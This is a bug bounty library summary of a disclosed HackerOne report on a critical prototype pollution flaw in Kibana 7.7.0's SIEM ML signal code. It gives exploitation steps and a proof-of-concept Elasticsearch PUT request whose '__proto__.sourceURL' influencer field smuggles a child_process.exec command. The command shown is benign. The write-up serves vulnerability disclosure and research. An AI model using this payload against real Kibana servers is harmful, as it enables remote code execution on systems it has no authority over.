# Remote Code Execution in coming Kibana 7.7.0

Prototype pollution in Kibana 7.7.0 SIEM ML signal creation lets a user with index write access inject a malicious influencer field name, achieving RCE via child_process.

- Payout: $5,000
- Severity: critical
- Program: Elastic
- Found by: alexbrasetvik
- Disclosed: 2021-04-19
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/861744
- Library page: https://bugbountylibrary.com/r/h1%3A861744
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:critical tech:nodejs technique:chained technique:source-review vuln:privilege-escalation vuln:prototype-pollution vuln:rce

**Target:** Kibana SIEM detection engine (bulk_create_ml_signals.ts) on cloud.elastic.co
**Root cause:** The SIEM signal bulk-create code merges ML anomaly influencer field names into an object without sanitizing __proto__, allowing prototype pollution that reaches a sink executing attacker-controlled JS.
**Steps:**
1. Import the provided SIEM machine_learning detection rule (job_id linux_anomalous_network_activity_ecs, output_index .siem-signals-default).
2. PUT /.ml-anomalies-custom-linux_anomalous_network_activity_ecs/_doc/my-anomaly?refresh with a record containing influencers[].influencer_field_name = `foo.__proto__.sourceURL` and influencer_field_values containing `\u2028\u2029\n;global.process.mainModule.require('child_process').exec('say pwned && open ...')`.
3. Enable the rule (toggle disable/enable if needed).
4. Wait ~15s for rule evaluation; the polluted prototype sourceURL is evaluated and the command executes.
**How found:** Researcher reviewed the new SIEM signal feature code (bulk_create_ml_signals.ts) in an unreleased commit, noticed unsanitized merging of ML influencer field names, and hypothesized prototype pollution reachable via a crafted anomaly document; tested against the pre-release commit.
**Exploitation:** Attacker with write access to ML anomaly indices (any Cloud user) plants a fake anomaly record whose influencer field name pollutes Object.prototype.sourceURL with a JS payload; when the SIEM rule processes the anomaly and evaluates the polluted property, child_process.exec runs arbitrary commands on the Kibana host.
**Escalation:** Chained prototype pollution into a code-evaluation sink to escalate from index-write privilege to full RCE on the Kibana server.
**Insight:** New/unreleased features that merge external document fields (like ML influencer names) into objects are prime prototype-pollution candidates; check whether polluted properties like sourceURL later flow into eval/Function sinks.

## Proof of concept (copied exactly from the original report)

**Fake ML anomaly document polluting prototype**

```
PUT /.ml-anomalies-custom-linux_anomalous_network_activity_ecs/_doc/my-anomaly?refresh
{
  "timestamp": 1588093630045,
  "result_type": "record",
  "record_score": 1,
  "job_id": "linux_anomalous_network_activity_ecs",
  "by_field_name": "field_name",
  "by_field_value": "field_value",
  "influencers": [
    {"influencer_field_name": "foo.__proto__.sourceURL", "influencer_field_values": "\u2028\u2029\n;global.process.mainModule.require('child_process').exec('say pwned && open https://www.youtube.com/watch?v=LUsiFV3dsK8')
```

